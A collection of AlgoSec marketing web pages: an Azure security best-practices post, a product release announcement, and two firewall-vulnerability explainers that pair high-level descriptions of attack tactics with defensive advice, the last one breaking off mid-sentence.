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Azure Security Best Practices: Don't Get Caught with Your Cloud Pants Down   Executive Summary   The cloud isn't some futuristic fantasy... Cloud Security Azure Security Best Practices Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/25/24 Published Azure Security Best Practices: Don't Get Caught with Your Cloud Pants Down Executive Summary The cloud isn't some futuristic fantasy anymore, folks. It's the backbone of modern business, and Azure is charging hard, fueled by AI, to potentially dethrone AWS by 2026. But with this breakneck adoption comes a harsh reality: security can't be an afterthought. This article dives deep into why robust security practices are non-negotiable in Azure and how tools like Microsoft Sentinel and Defender XDR can be your digital bodyguards. Introduction Let's face it, organizations are flocking to the cloud like moths to a digital flame. Why? Cost savings, streamlined operations, and the ability to scale at warp speed. We're talking serious money here – a projected $805 billion spent on public cloud services in 2024! The cloud's not just disrupting the game; it is the game. And the playing field is shifting. AWS might be the king of the hill right now, but Azure's hot on its heels, thanks to some serious AI muscle. ( As of 2024, they hold market shares of 31%, 24%, and 11%, respectively .) Forbes even predicts an Azure takeover by 2026. Exciting times, right? Hold your horses. This rapid cloud adoption has a dark side. Security threats are lurking around every corner, and sticking to best practices is more crucial than ever. Cloud service managers, listen up: you need to wrap your heads around the shared responsibility model (Figure 1). Think of it like this: you and Azure are partners in crime prevention. You're both responsible for keeping your digital assets safe, but you need to know who's holding which piece of the security puzzle. Don't assume security is built-in – it's a team effort, and you need to pull your weight. Figure 1: The shared responsibility model Azure's Security Architecture: A Fortress in the Cloud Okay, I get it. The shared responsibility model can feel like navigating a maze blindfolded. But here's the deal: whether you're dabbling in IaaS, PaaS, or SaaS, Azure's got your infrastructure covered. Their global network of data centers is built like Fort Knox, meeting industry standards like ISO/IEC 27001:2022 , HIPAA , and NIST SP 800-53 . But remember your part of the bargain! Azure provides a killer arsenal of security products to protect your workloads, both in Azure and beyond. Figure 2: Azure’s security architecture Take Microsoft Sentinel, for example. This superhero of a tool automatically sniffs out threats, investigates them, and neutralizes them before they can wreak havoc. It's like having a 24/7 security team with superhuman senses. And don't forget about Microsoft Defender XDR. This comprehensive security suite is like a digital Swiss Army knife, protecting your identities, endpoints, applications, email, and cloud apps. It's got your back, no matter where you turn. With Sentinel and Defender XDR in your corner, you're well-equipped to tackle the security challenges that come with cloud adoption. But don't get complacent! Let's dive into some core security best practices that will make your Azure environment an impenetrable fortress. Core Security Best Practices: Lock Down Your Secrets Protecting Secrets: Best Practices Using Azure Key Vault We all have secrets, right? In the digital world, those secrets are things like passwords, API keys, and encryption keys. You can't just leave them lying around for any cybercriminal to snatch. That's where Azure Key Vault comes in. This secure vault is like a digital safe deposit box for your sensitive data. It uses hardware security modules (HSMs) to keep your secrets locked down tight, even if someone manages to breach your defenses. Big names like Victoria's Secret & Co , Evup, and Sage trust Key Vault to keep their secrets safe. Figure 3: A new Key Vault named “algosec-kv” Here's a pro tip: once you've stashed your secrets in Key Vault, use a managed identity to access them. This eliminates the need to hardcode credentials in your code, minimizing the risk of exposure. var client = new SecretClient(new Uri("https://. vault.azure.net/ "), new DefaultAzureCredential(),options); KeyVaultSecret secret = client.GetSecret(""); string secretValue = secret.Value; Key Vault is a fantastic tool, but it's not a silver bullet. Download our checklist of additional best practices to keep your secrets safe: Database and Data Security: More Than Just Locking the Door Azure offers a smorgasbord of data storage solutions, from Azure SQL Database to Azure Blob Storage. But securing your data isn't just about protecting it at rest. You need to think about data in use and data in transit, too. Download our checklist for a full action plan: Identity Management: Who Are You, and What Are You Doing Here? Encryption is great, but it's only half the battle. You need to know who's accessing your resources and what they're doing. That's where identity access management (IAM) comes in. Think of IAM as a digital bouncer, controlling access to your network resources. It's all about verifying identities and granting the right level of access – no more, no less. Zero-trust network access (ZTNA) is your secret weapon here. It's like having a security checkpoint at every corner of your network, ensuring that only authorized users can access your resources. Figure 4: Zero-trust security architecture Remember the Capital One breach? A misconfigured firewall and overly broad permissions led to a massive data leak. Don't let that be you! Follow Azure's IAM documentation to build a robust and secure identity management system. Network Security: Building a Digital Moat Your network architecture is the foundation of your security posture. Choose wisely, my friends! The hub-spoke model is a popular choice in Azure, centralizing common services in a secure hub and isolating workloads in separate spokes. Figure 5: Hub-spoke network architecture in Azure (Source: Azure documentation ) For a checklist of how the hub-spoke model can boosts your security, download our checklist here. Digital Realty , a real estate investment giant, uses the hub-spoke model to secure its global portal and REST APIs. It's a testament to the power of this architecture for both security and performance. Figure 6: Digital Realty’s use of hub-spoke architecture (Adapted from Microsoft Customer Stories ) Operational Security: Stay Vigilant, Stay Secure (Continued) When a security incident strikes, your response time is critical. Think of operational security as your digital first aid kit. It's about minimizing human error and automating processes to speed up threat detection and response. We've already talked about MFA, password management, and the dynamic duo of Defender XDR and Sentinel. Download our checklist for a few more operational security essentials to add to your arsenal. Figure 7: Build-deploy workflow automation (Source: Azure documentation ) Think of these best practices as guardrails, guiding you toward secure decisions. But remember, flexibility is key. Adapt these practices to your specific environment and architecture. Conclusion As Azure's popularity skyrockets, so do the stakes. The shared responsibility model means you're not off the hook when it comes to security. Azure provides powerful tools like Sentinel and Defender XDR, but it's up to you to use them wisely and follow best practices. Protect your secrets like they're buried treasure, secure your data with Fort Knox-level encryption, implement identity management that would make a border patrol agent proud, and build a network architecture that's a digital fortress. And don't forget about operational security – it's the glue that holds it all together. But let's be real, managing security policies across multiple clouds can be a nightmare. That's where tools like AlgoSec CloudFlow come in. They provide a clear view of your security landscape, helping you identify vulnerabilities and streamline policy management. It's like having a security command center for your entire cloud infrastructure. So, what are you waiting for? Request a demo today and let AlgoSec help you build an Azure environment that's so secure, even the most determined cybercriminals will be left scratching their heads. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

The new product version release provides extended multi-cloud hybrid network visibility, reduces risk exposure and addresses new compliance regulations in a unified platform AlgoSec Security Management solution A33.10 delivers new compliance reporting and precise discovery of application connectivity The new product version release provides extended multi-cloud hybrid network visibility, reduces risk exposure and addresses new compliance regulations in a unified platform May 20, 2025 Speak to one of our experts RIDGEFIELD PARK, NJ, May 20, 2025 – Global cybersecurity leader AlgoSec has launched its new Security Management solution version A33.10, as a part of its AlgoSec Horizon platform. The new release provides better visibility across multi-cloud hybrid network environments, prioritizes risks more easily, reduces compliance effort and cuts down on manual processes by automating policy changes. As network environments grow more distributed, visibility becomes harder to maintain. The 2025 State of Network Security Report found that 71% of security teams struggle with visibility, which is delaying threat detection and response. Without comprehensive network visibility, security teams lack a clear understanding of application behavior to protect, detect, and prevent vulnerabilities. “AlgoSec is committed to updating its products to solve everyday problems that security teams face,” said Eran Shiff , VP Product of AlgoSec. “The A33.10 release ensures that our customers have clear and unified visibility into their complex hybrid network environment to reduce manual processes and ensure proper compliance reporting.” Highlights from the AlgoSec Horizon product update include: ● Visibility continues at the application level. Application security management is now faster and smarter with AlgoSec Firewall Analyzer and AlgoSec ACE ’s cloud application discovery as a datasource, allowing the creation of an application library fast. ● Security and compliance go hand in hand. To prepare security teams for audits and identify risks earlier, the new update includes a dedicated DORA and SOC2 compliance reporting, as well as built-in MITRE ATT&CK mapping. ● Streamlined application traffic view. This release introduces early availability support for AWS Load Balancer and Cisco Catalyst SD-WAN (Viptela), helping teams clearly see how traffic traverses across hybrid infrastructure and make more informed decisions. To learn more about the new A33.10 product release, click here . About AlgoSec AlgoSec, a global cybersecurity leader, empowers organizations to securely accelerate application delivery up to 10 times faster by automating application connectivity and security policy across the hybrid network environment. With two decades of expertise securing hybrid networks, over 2200 of the world's most complex organizations trust AlgoSec to help secure their most critical workloads. AlgoSec Horizon platform utilizes advanced AI capabilities, enabling users to automatically discover and identify their business applications across multi-clouds, and remediate risks more effectively. It serves as a single source for visibility into security and compliance issues across the hybrid network environment, to ensure ongoing adherence to internet security standards, industry, and internal regulations. Additionally, organizations can leverage intelligent change automation to streamline security change processes, thus improving security and agility. Learn how AlgoSec enables application owners, information security experts, SecOps and cloud security teams to deploy business applications faster while maintaining security at www.algosec.com . MEDIA CONTACT: Megan Davis Alloy, on behalf of AlgoSec [email protected]

Properly configured firewalls are vital in any comprehensive cybersecurity strategy. However, even the most robust configurations can be... Uncategorized How To Prevent Firewall Breaches (The 2024 Guide) Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/11/24 Published Properly configured firewalls are vital in any comprehensive cybersecurity strategy. However, even the most robust configurations can be vulnerable to exploitation by attackers. No single security measure can offer absolute protection against all cyber threats and data security risks . To mitigate these risks, it’s crucial to understand how cybercriminals exploit firewall vulnerabilities. The more you know about their tactics, techniques, and procedures, the better-equipped you are to implement security policies that successfully block unauthorized access to network assets. In this guide, you’ll understand the common cyber threats that target enterprise firewall systems with the goal of helping you understand how attackers exploit misconfigurations and human vulnerabilities. Use this information to protect your network from a firewall breach. Understanding 6 Tactics Cybercriminals Use to Breach Firewalls 1. DNS Leaks Your firewall’s primary use is making sure unauthorized users do not gain access to your private network and the sensitive information it contains. But firewall rules can go both ways – preventing sensitive data from leaving the network is just as important. If enterprise security teams neglect to configure their firewalls to inspect outgoing traffic, cybercriminals can intercept this traffic and use it to find gaps in your security systems. DNS traffic is particularly susceptible to this approach because it shows a list of websites users on your network regularly visit. A hacker could use this information to create a spoofed version of a frequently visited website. For example, they might notice your organization’s employees visit a third-party website to attend training webinars. Registering a fake version of the training website and collecting employee login credentials would be simple. If your firewall doesn’t inspect DNS data and confirm connections to new IP addresses, you may never know. DNS leaks may also reveal the IP addresses and endpoint metadata of the device used to make an outgoing connection. This would give cybercriminals the ability to see what kind of hardware your organization’s employees use to connect to external websites. With that information in hand, impersonating managed service providers or other third-party partners is easy. Some DNS leaks even contain timestamp data, telling attackers exactly when users requested access to external web assets. How to protect yourself against DNS leaks Proper firewall configuration is key to preventing DNS-related security incidents. Your organization’s firewalls should provide observability and access control to both incoming and outgoing traffic. Connections to servers known for hosting malware and cybercrime assets should be blocked entirely. Connections to servers without a known reputation should be monitored closely. In a Zero Trust environment , even connections to known servers should benefit from scrutiny using an identity-based security framework. Don’t forget that apps can connect to external resources, too. Consider deploying web application firewalls configured to prevent DNS leaks when connecting to third-party assets and servers. You may also wish to update your security policy to require employees to use VPNs when connecting to external resources. An encrypted VPN connection can prevent DNS information from leaking, making it much harder for cybercriminals to conduct reconnaissance on potential targets using DNS data. 2. Encrypted Injection Attacks Older, simpler firewalls analyze traffic by looking at different kinds of data packet metadata. This provides clear evidence of certain denial-of-service attacks, clear violations of network security policy , and some forms of malware and ransomware . They do not conduct deep packet inspection to identify the kind of content passing through the firewall. This provides cybercriminals with an easy way to bypass firewall rules and intrusion prevention systems – encryption . If malicious content is encrypted before it hits the firewall, it may go unnoticed by simple firewall rules. Only next-generation firewalls capable of handling encrypted data packets can determine whether this kind of traffic is secure or not. Cybercriminals often deliver encrypted injection attacks through email. Phishing emails may trick users into clicking on a malicious link that injects encrypted code into the endpoint device. The script won’t decode and run until after it passes the data security threshold posed by the firewall. After that, it is free to search for personal data, credit card information, and more. Many of these attacks will also bypass antivirus controls that don’t know how to handle encrypted data. Task automation solutions like Windows PowerShell are also susceptible to these kinds of attacks. Even sophisticated detection-based security solutions may fail to recognize encrypted injection attacks if they don’t have the keys necessary to decrypt incoming data. How to protect yourself against encrypted injection attacks Deep packet inspection is one of the most valuable features next-generation firewalls provide to security teams. Industry-leading firewall vendors equip their products with the ability to decrypt and inspect traffic. This allows the firewall to prevent malicious content from entering the network through encrypted traffic, and it can also prevent sensitive encrypted data – like login credentials – from leaving the network. These capabilities are unique to next-generation firewalls and can’t be easily replaced with other solutions. Manufacturers and developers have to equip their firewalls with public-key cryptography capabilities and obtain data from certificate authorities in order to inspect encrypted traffic and do this. 3. Compromised Public Wi-Fi Public Wi-Fi networks are a well-known security threat for individuals and organizations alike. Anyone who logs into a password-protected account on public Wi-Fi at an airport or coffee shop runs the risk of sending their authentication information directly to hackers. Compromised public Wi-Fi also presents a lesser-known threat to security teams at enterprise organizations – it may help hackers breach firewalls. If a remote employee logs into a business account or other asset from a compromised public Wi-Fi connection, hackers can see all the data transmitted through that connection. This may give them the ability to steal account login details or spoof endpoint devices and defeat multi-factor authentication. Even password-protected private Wi-Fi connections can be abused in this way. Some Wi-Fi networks still use outdated WEP and WPA security protocols that have well-known vulnerabilities. Exploiting these weaknesses to take control of a WEP or WPA-protected network is trivial for hackers. The newer WPA2 and WPA3 standards are much more resilient against these kinds of attacks. While public Wi-Fi dangers usually bring remote workers and third-party service vendors to mind, on-premises networks are just as susceptible. Nothing prevents a hacker from gaining access to public Wi-Fi networks in retail stores, receptions, or other areas frequented by customers and employees. How to protect yourself against compromised public Wi-Fi attacks First, you must enforce security policies that only allow Wi-Fi traffic secured by WPA2 and WPA3 protocols. Hardware Wi-Fi routers that do not support these protocols must be replaced. This grants a minimum level of security to protected Wi-Fi networks. Next, all remote connections made over public Wi-Fi networks must be made using a secure VPN. This will encrypt the data that the public Wi-Fi router handles, making it impossible for a hacker to intercept without gaining access to the VPN’s secret decryption key. This doesn’t guarantee your network will be safe from attacks, but it improves your security posture considerably. 4. IoT Infrastructure Attacks Smartwatches, voice-operated speakers, and many automated office products make up the Internet of Things (IoT) segment of your network. Your organization may be using cloud-enriched access control systems, cost-efficient smart heating systems, and much more. Any Wi-Fi-enabled hardware capable of automation can safely be included in this category. However, these devices often fly under the radar of security team’s detection tools, which often focus on user traffic. If hackers compromise one of these devices, they may be able to move laterally through the network until they arrive at a segment that handles sensitive information. This process can take time, which is why many incident response teams do not consider suspicious IoT traffic to be a high-severity issue. IoT endpoints themselves rarely process sensitive data on their own, so it’s easy to overlook potential vulnerabilities and even ignore active attacks as long as the organization’s mission-critical assets aren’t impacted. However, hackers can expand their control over IoT devices and transform them into botnets capable of running denial-of-service attacks. These distributed denial-of-service (DDoS) attacks are much larger and more dangerous, and they are growing in popularity among cybercriminals. Botnet traffic associated with DDoS attacks on IoT networks has increased five-fold over the past year , showing just how promising it is for hackers. How to protect yourself against IoT infrastructure attacks Proper network segmentation is vital for preventing IoT infrastructure attacks . Your organization’s IoT devices should be secured on a network segment that is isolated from the rest of the network. If attackers do compromise the entire network, you should be protected from the risk of losing sensitive data from critical business assets. Ideally, this protection will be enforced with a strong set of firewalls managing the connection between your IoT subnetwork and the rest of your network. You may need to create custom rules that take your unique security risk profile and fleet of internet-connected devices into account. There are very few situations in which one-size-fits-all rulemaking works, and this is not one of them. All IoT devices – no matter how small or insignificant – should be protected by your firewall and other cybersecurity solutions . Never let these devices connect directly to the Internet through an unsecured channel. If they do, they provide attackers with a clear path to circumvent your firewalls and gain access to the rest of your network with ease. 5. Social Engineering and Phishing Social engineering attacks refer to a broad range of deceptive practices used by hackers to gain access to victims’ assets. What makes this approach special is that it does not necessarily depend on technical expertise. Instead of trying to hack your systems, cybercriminals are trying to hack your employees and company policies to carry out their attacks. Email phishing is one of the most common examples. In a typical phishing attack , hackers may spoof an email server to make it look like they are sending emails from a high-level executive in the company you work for. They can then impersonate this executive and demand junior accountants pay fictitious invoices or send sensitive customer data to email accounts controlled by threat actors. Other forms of social engineering can use your organization’s tech support line against itself. Attackers may pretend to represent large customer accounts and will leverage this ruse to gain information about how your company works. They may impersonate a third-party vendor and request confidential information that the vendor would normally have access to. These attacks span the range from simple trickery to elaborate confidence scams. Protecting against them can be incredibly challenging, and your firewall capabilities can make a significant difference in your overall state of readiness. How to protect yourself against social engineering attacks Employee training is the top priority for protecting against social engineering attacks . When employees understand the company’s operating procedures and security policies, it’s much harder for social engineers to trick them. Ideally, training should also include in-depth examples of how phishing attacks work, what they look like, and what steps employees should take when contacted by people they don’t trust. 6. Sandbox Exploits Many organizations use sandbox solutions to prevent file-based malware attacks. Sandboxes work by taking suspicious files and email attachments and opening them in a secure virtual environment before releasing them to users. The sandbox solution will observe how the file behaves and quarantine any file that shows malicious activity. In theory, this provides a powerful layer of defense against file-based attacks. But in practice, cybercriminals are well aware of how to bypass these solutions. For example, many sandbox solutions can’t open files over a certain size. Hackers who attach malicious code to large files can easily get through. Additionally, many forms of malware do not start executing malicious tasks the second they are activated. This delay can provide just enough of a buffer to get through a sandbox system. Some sophisticated forms of malware can even detect when they are being run in a sandbox environment – and will play the part of an innocent program until they are let loose inside the network. How to protect yourself against sandbox exploits Many next-generation firewalls include cloud-enabled sandboxing capable of running programs of arbitrary size for a potentially unlimited amount of time. More sophisticated sandbox solutions go to great lengths to mimic the system specifications of an actual endpoint so malware won’t know it is being run in a virtual environment. Organizations may also be able to overcome the limitations of the sandbox approach using Content Disarm and Reconstruction (CDR) techniques. This approach keeps potentially malicious files off the network entirely and only allows a reconstructed version of the file to enter the network. Since the new file is constructed from scratch, it will not contain any malware that may have been attached to the original file. Prevent firewall breaches with AlgoSec Managing firewalls manually can be overwhelming and time-consuming – especially when dealing with multiple firewall solutions. With the help of a firewall management solution , you easily configure firewall rules and manage configurations from a single dashboard. AlgoSec’s powerful firewall management solution integrates with your firewalls to deliver unified firewall policy management from a single location, thus streamlining the entire process. With AlgoSec, you can maintain clear visibility of your firewall ruleset, automate the management process, assess risk & optimize rulesets, streamline audit preparation & ensure compliance, and use APIs to access many features through web services. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Protect sensitive healthcare data with Algosec’s tailored network security solutions, ensuring compliance and risk reduction. Empowering secure connectivity for healthcare Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. Empowering secure connectivity for healthcare Compliance: Ensuring regulatory adherence Secure connectivity for your patient data & your applications M&A: Streamline integration of complex environments Zero trust: Strengthening security posture  Join our healthcare customers Why healthcare providers and insurers choose AlgoSec Get the latest insights from the experts AlgoSec and Zero-Trust for Healthcare Read more What are HIPAA network compliance requirements, rules, and violations? Read more Checking the cybersecurity pulse of medical devices Read more Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Secure your cloud environment with just 5 pillars Learn how Prevasio CNAPP’s innovative features and robust architecture offers a comprehensive defense mechanism that goes beyond traditional security measures Webinars 5 Pillars for advanced cloud security In this webinar you’ll discover how Prevasio CNAPP’s cutting-edge features and resilient architecture redefine cloud security, providing a comprehensive defense mechanism that transcends conventional security measures. Gain a deep understanding of the innovative strategies and advanced technologies that make Prevasio CNAPP an indispensable ally in safeguarding your critical data and applications. June 13, 2023 Jacqueline Basil Product Marketing Manager Relevant resources Cloud migrations made simpler: Safe, Secure and Successful Migrations Keep Reading AlgoSec Cloud - Cloud security policy and configuration management made simple Read Document 6 best practices to stay secure in the hybrid cloud Read Document Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Can Firewalls Be Hacked? Yes, Here’s 6 Vulnerabilities Like all security tools, firewalls can be hacked. That’s what happened to the... Cyber Attacks & Incident Response Can Firewalls Be Hacked? Yes, Here’s 6 Vulnerabilities Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/20/23 Published Can Firewalls Be Hacked? Yes, Here’s 6 Vulnerabilities Like all security tools, firewalls can be hacked. That’s what happened to the social media platform X in January 2023, when it was still Twitter. Hackers exploited an API vulnerability that had been exposed since June the previous year. This gave them access to the platform’s security system and allowed them to leak sensitive information on millions of users. This breach occurred because the organization’s firewalls were not configured to examine API traffic with enough scrutiny. This failure in firewall protection led to the leak of more than 200 million names, email addresses, and usernames, along with other information, putting victims at risk of identity theft . Firewalls are your organization’s first line of defense against malware and data breaches. They inspect all traffic traveling into and out of your network, looking for signs of cyber attacks and blocking malicious activity when they find it. This makes them an important part of every organization’s cybersecurity strategy. Effective firewall management and configuration is vital for preventing cybercrime. Read on to find out how you can protect your organization from attacks that exploit firewall vulnerabilities you may not be aware of. Understanding the 4 Types of Firewalls The first thing every executive and IT leader should know is that there are four basic types of firewalls . Each category offers a different level of protection, with simpler solutions costing less than more advanced ones. Most organizations need to use some combination of these four firewall types to protect sensitive data effectively. Keep in mind that buying more advanced firewalls is not always the answer. Optimal firewall management usually means deploying the right type of firewall for its particular use case. Ideally, these should be implemented alongside multi-layered network security solutions that include network detection and response, endpoint security, and security information and event management (SIEM) technology. 1. Packet Filtering Firewalls These are the oldest and most basic types of firewalls. They operate at the network layer, checking individual data packets for their source IP address and destination IP. They also verify the connection protocol, as well as the source port and destination port against predefined rules. The firewall drops packets that fail to meet these standards, protecting the network from potentially harmful threats. Packet filtering firewalls are among the fastest and cheapest types of firewalls available. Since they can not inspect the contents of data packets, they offer minimal functionality. They also can’t keep track of established connections or enforce rules that rely on knowledge of network connection states. This is why they are considered stateless firewalls. 2. Stateful Inspection Firewalls These firewalls also perform packet inspection, but they ingest more information about the traffic they inspect and compare that information against a list of established connections and network states. Stateful inspection firewalls work by creating a table that contains the IP and port data for traffic sources and destinations, and dynamically check whether data packets are part of a verified active connection. This approach allows stateful inspection firewalls to deny data packets that do not belong to a verified connection. However, the process of checking data packets against the state table consumes system resources and slows down traffic. This makes stateful inspection firewalls vulnerable to Distributed Denial-of-Service (DDoS) attacks. 3. Application Layer Gateways These firewalls operate at the application layer, inspecting and managing traffic based on specific applications or protocols, providing deep packet inspection and content filtering. They are also known as proxy firewalls because they can be implemented at the application layer through a proxy device. In practice, this means that an external client trying to access your system has to send a request to the proxy firewall first. The firewall verifies the authenticity of the request and forwards it to an internal server. They can also work the other way around, providing internal users with access to external resources (like public web pages) without exposing the identity or location of the internal device used. 4. Next-Generation Firewalls (NGFW) Next-generation firewalls combine traditional firewall functions with advanced features such as intrusion prevention, antivirus, and application awareness . They contextualize data packet flows and enrich them with additional data, providing comprehensive security against a wide range of threats. Instead of relying exclusively on IP addresses and port information, NGFWs can perform identity-based monitoring of individual users, applications, and assets. For example, a properly configured NGFW can follow a single user’s network traffic across multiple devices and operating systems, providing an activity timeline even if the user switches between a desktop computer running Microsoft Windows and an Amazon AWS instance controlling routers and iOT devices. How Do These Firewalls Function? Each type of firewall has a unique set of functions that serve to improve the organization’s security posture and prevent hackers from carrying out malicious cyber attacks. Optimizing your firewall fleet means deploying the right type of solution for each particular use case throughout your network. Some of the most valuable functions that firewalls perform include: Traffic Control They regulate incoming and outgoing traffic, ensuring that only legitimate and authorized data flows through the network. This is especially helpful in cases where large volumes of automated traffic can slow down routine operations and disrupt operations. For example, many modern firewalls include rules designed to deny bot traffic. Some non-human traffic is harmless, like the search engine crawlers that determine your website’s ranking against certain keyword searches. However, the vast majority of bot traffic is either unnecessary or malicious. Firewalls can help you keep your infrastructure costs down by filtering out connection attempts from automated sources you don’t trust. Protection Against Cyber Threats Firewalls act as a shield against various cyber threats, including phishing attacks, malware and ransomware attacks . Since they are your first line of defense, any malicious activity that targets your organization will have to bypass your firewall first. Hackers know this, which is why they spend a great deal of time and effort finding ways to bypass firewall protection. They can do this by exploiting technical vulnerabilities in your firewall devices or by hiding their activities in legitimate traffic. For example, many firewalls do not inspect authenticated connections from trusted users. If cybercriminals learn your login credentials and use your authenticated account to conduct an attack, your firewalls may not notice the malicious activity at all. Network Segmentation By defining access rules, firewalls can segment networks into zones with varying levels of trust, limiting lateral movement for attackers. This effectively isolates cybercriminals into the zone they originally infiltrated, and increases the chance they make a mistake and reveal themselves trying to access additional assets throughout your network. Network segmentation is an important aspect of the Zero Trust framework. Firewalls can help reinforce the Zero Trust approach by inspecting traffic traveling between internal networks and dropping connections that fail to authenticate themselves. Security Policy Enforcement Firewalls enforce security policies, ensuring that organizations comply with their security standards and regulatory requirements. Security frameworks like NIST , ISO 27001/27002 , and CIS specify policies and controls that organizations need to implement in order to achieve compliance. Many of these frameworks stipulate firewall controls and features that require organizations to invest in optimizing their deployments. They also include foundational and organizational controls where firewalls play a supporting role, contributing to a stronger multi-layered cybersecurity strategy. Intrusion Detection and Prevention Advanced firewalls include intrusion detection and prevention capabilities, which can identify and block suspicious activities in real-time. This allows security teams to automate their response to some of the high-volume security events that would otherwise drag down performance . Automatically detecting and blocking known exploits frees IT staff to spend more time on high-impact strategic work that can boost the organization’s security posture. Logging and Reporting Firewalls generate logs and reports that assist in security analysis, incident response, and compliance reporting. These logs provide in-depth data on who accessed the organization’s IT assets, and when the connection occurred. They enable security teams to conduct forensic investigations into security incidents, driving security performance and generating valuable insights into the organization’s real-world security risk profile. Organizations that want to implement SIEM technology must also connect their firewall devices to the platform and configure them to send log data to their SIEM for centralized analysis. This gives security teams visibility into the entire organization’s attack surface and enables them to adopt a Zero Trust approach to managing log traffic. Common Vulnerabilities & Weaknesses Firewalls Share Firewalls are crucial for network security, but they are not immune to vulnerabilities. Common weaknesses most firewall solutions share include: Zero-day vulnerabilities These are vulnerabilities in firewall software or hardware that are unknown to the vendor or the general public. Attackers can exploit them before patches or updates are available, making zero-day attacks highly effective. Highly advanced NGFW solutions can protect against zero-day attacks by inspecting behavioral data and using AI-enriched analysis to detect unknown threats. Backdoors Backdoors are secret entry points left by developers or attackers within a firewall’s code. These hidden access points can be exploited to bypass security measures. Security teams must continuously verify their firewall configurations to identify the signs of backdoor attacks. Robust and effective change management solutions help prevent backdoors from remaining hidden. Header manipulation Attackers may manipulate packet headers to trick firewalls into allowing unauthorized traffic or obscuring their malicious intent. There are multiple ways to manipulate the “Host” header in HTTP traffic to execute attacks. Security teams need to configure their firewalls and servers to validate incoming HTTP traffic and limit exposure to header vulnerabilities. How Cyber Criminals Exploit These Vulnerabilities Unauthorized Access Exploiting a vulnerability can allow cybercriminals to penetrate a network firewall, gaining access to sensitive data, proprietary information, or critical systems. Once hackers gain unauthorized access to a network asset, only a well-segmented network operating on Zero Trust principles can reliably force them to reveal themselves. Otherwise, they will probably remain hidden until they launch an active attack. Data Breaches Once inside your network, attackers may exfiltrate sensitive information, including customer data, intellectual property, and financial records (like credit cards), leading to data breaches. These complex security incidents can lead to major business disruptions and reputational damage, as well as enormous recovery costs. Malware Distribution Attackers may use compromised firewalls to distribute malware, ransomware, or malicious payloads to other devices within the network. This type of attack may focus on exploiting your systems and network assets, or it may target networks adjacent to your own – like your third-party vendors, affiliate partners, or customers. Denial of Service (DDoS) Exploited firewalls can be used in DDoS attacks, potentially disrupting network services and rendering them unavailable to users. This leads to expensive downtime and reputational damage. Some hackers try to extort their victims directly, demanding organizations pay money to stop the attack. 6 Techniques Used to Bypass Firewalls 1. Malware and Payload Delivery Attackers use malicious software and payloads to exploit firewall vulnerabilities, allowing them to infiltrate networks or systems undetected. This often occurs due to unpatched security vulnerabilities in popular firewall operating systems. For example, in June 2023 Fortinet addressed a critical-severity FortiOS vulnerability with a security patch. One month later in July, there were still 300,000 Fortinet firewalls still using the unpatched operating system. 2. Phishing Attacks Phishing involves tricking individuals into divulging sensitive information or executing malicious actions. Attackers use deceptive emails or websites that may bypass firewall filters. If they gain access to privileged user account credentials, they may be able to bypass firewall policies entirely, or even reconfigure firewalls themselves. 3. Social Engineering Tactics Cybercriminals manipulate human psychology to deceive individuals into disclosing confidential information, effectively bypassing technical security measures like firewalls. This is typically done through social media, email, or by telephone. Attackers may impersonate authority figures both inside and outside the organization and demand access to sensitive assets without going through the appropriate security checks. 4. Deep Packet Inspection Evasion Attackers employ techniques to disguise malicious traffic, making it appear benign to firewalls using deep packet inspection, allowing it to pass through undetected. Some open-source tools like SymTCP can achieve this by running symbolic executions on the server’s TCP implementation, scanning the resulting execution paths, and sending malicious data through any handling discrepancies identified. 5. VPNs and Remote Access Attackers may use Virtual Private Networks (VPNs) and remote access methods to circumvent firewall restrictions and gain unauthorized entry into networks. This is particularly easy in cases where simple geo restrictions block traffic from IP addresses associated with certain countries or regions. Attackers may also use more sophisticated versions of this technique to access exposed services that don’t require authentication, like certain containerized servers . 6. Intrusion Prevention Systems (IPS) Bypass Sophisticated attackers attempt to evade IPS systems by crafting traffic patterns or attacks that go undetected, enabling them to compromise network security. For example, they may use technologies to decode remote access tool executable files hidden inside certificate files, allowing them to reassemble the malicious file after it passes through the IPS. Protecting Against Firewall Vulnerabilities Multi-factor Authentication (MFA) MFA adds an extra layer of security by requiring users to provide multiple forms of identification, such as a password and a one-time code sent to their mobile device, before they gain access. This prevents attackers from accessing sensitive network assets immediately after stealing privileged login credentials. Knowing an account holder’s password and username is not enough. Two-factor Authentication (2FA) 2FA is a subset of MFA that involves using two authentication factors, typically something the user knows (password) and something the user has (a mobile device or security token), to verify identity and enhance firewall security. Other versions use biometrics like fingerprint scanning to authenticate the user. Intrusion Prevention Systems (IPS) IPS solutions work alongside firewalls to actively monitor network 